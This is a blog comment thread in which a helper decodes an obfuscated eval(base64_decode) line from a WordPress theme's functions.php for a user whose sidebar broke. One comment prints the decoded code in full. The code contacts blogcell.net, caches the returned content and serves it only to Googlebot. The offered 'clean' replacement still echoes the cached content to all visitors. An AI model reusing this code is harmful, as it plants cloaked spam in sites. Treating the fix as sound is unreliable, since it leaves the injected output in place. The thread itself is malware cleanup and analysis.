13 thoughts on “WordPress themes with eval and base64_decode lines”

1. Hello,
   I came here by searching blogcell.net on google. Today i found this code in my theme (functions.php), almost axactly the same, what should i do? I deleted al the code but that did my sidebar disappear. What part can be removed? I become curious when i noticed blogcell.net. I dont remember ever seen or using blogcell.net. Whats your suggestion?
   thx in advance!

2. Hi,

   Instead of deleting the code altogether you can decode it. Replace the decoded content with the encrypted code. Then you can delete the lines that you don’t like and maintain the layout, like your missing sidebar.

   This is a site I have used lately to decode online: http://www.motobit.com/util/base64-decoder-encoder.asp. You might have to decode it several times because it is usually coded many times. I have seen up to 15 times!

   If you do not understand PHP code you could instead look at the page source in your Internet browser and recreate the code that you deleted in your functions.php file. But no mather how you do it, you should know how to edit some HTML code.

   Hope this was of any help.

3. Hi,
   thx for the quick answer. I’ve tried a few things but in doesn’t work, I think i forget some html codes. Would you decode the file for me and send it back? I can give you the comments.php. Donation trough paypal is possible.

   L8er dude

4. Hi,

   I’ll give it a go if you send me the whole theme zipped.
   Then I can try it out and see if I manage to fix it for you.

5. That sounds great, i hope I’ve don’t get any other code instead ;-) The problem is in the functions.php, not the comments.php as above. thx in advance!
   http://rapidshare.com/files/298551366/v6.0.zip.html

6. This is the content of the decoding functions.php eval(base64_decode… line.

   function wp_get_footer_meta() {global $wpdb;if ($adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))$adwb_opt = unserialize($adwb_opt);else{$adwb_opt = array(0,'');$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($adwb_opt)."', 'no')");}if ((time()-$adwb_opt[0]) >= 3600){$adwb_host = 'blogcell.net';$adwb_get  = '/wpam/';$adwb_soc  = @fsockopen($adwb_host,80,$_en,$_es,30);if ($adwb_soc){@stream_set_timeout($adwb_soc,30);@fwrite($adwb_soc,"GET $adwb_get".'?h='.urlencode($_SERVER['HTTP_HOST']).'&u='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $adwb_host\r\nConnection: Close\r\n\r\n");$adwb_data = '';while(!feof($adwb_soc)) $adwb_data .= @fgets($adwb_soc, 1024);$adwb_data = trim(strstr($adwb_data,"\r\n\r\n"));}@fclose($adwb_soc);if(preg_match('/(.+?)<\/adbug>/s',$adwb_data,$adwb_tmp)){$adwb_opt = array(time(), $adwb_tmp[1]);$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($adwb_opt))."' WHERE option_name='adwb_opt'");}}if (eregi("googlebot",$_SERVER['HTTP_USER_AGENT']))echo $adwb_opt[1];}add_action("wp_footer", "wp_get_footer_meta");
   ?>

   As you can see it contains a lot of code you do not wish to be in your WordPress theme file, like contacting blogcell.net where it can receive data like spam info etc.
   It does also do a check if you are a Google search bot (googlebot”,$_SERVER[‘HTTP_USER_AGENT) and displays a spam free page. This is done to avoid being removed from Google search index and continue to spread spam.

   Replace the function above and try this code instead

   function wp_get_footer_meta() {
   global $wpdb;
           if ($adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))
                   $adwb_opt = unserialize($adwb_opt);
           else{
                   $adwb_opt = array(0,'');
                   $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($adwb_opt)."', 'no')");
           }
           echo $adwb_opt[1];
   }

   Let me know if this solves your problem.

7. The base64_ code is located between )); and )); in the functions.php If I remove the code and replace it with the one that is decoded (with the unwanted lines) I get an error. The same problem with the new code without the unwanted lines. Do I have to put the new code between )); and )); also?

8. Just comment out the whole line starting with eval(base64_decode… and insert the code I wrote in my previous comment.

9. I’ve figured it out where to put it, first I deleted the base64_code and insert the new code on top of the functions.php file, right after <?php and ended with } Awesome! It works. My hosting company had difficulties with my website a week ago. After contacting them because my blog was down, with warnings like ‘Error establishing a database connection’ and in phpMyAdmin: #1040 – Too many connections. They noticed that it made to many open MySQL connections (locked). They asked me to fix that, could this be the possible reason?

10. I do not think this could be the problem…

11. My weblog is still running, thanks again for your excellent help!

12. No problem :)

13. Pingback: the Knuts blog: em just creative » Blog Archive » Evil eval(!

Comments are closed.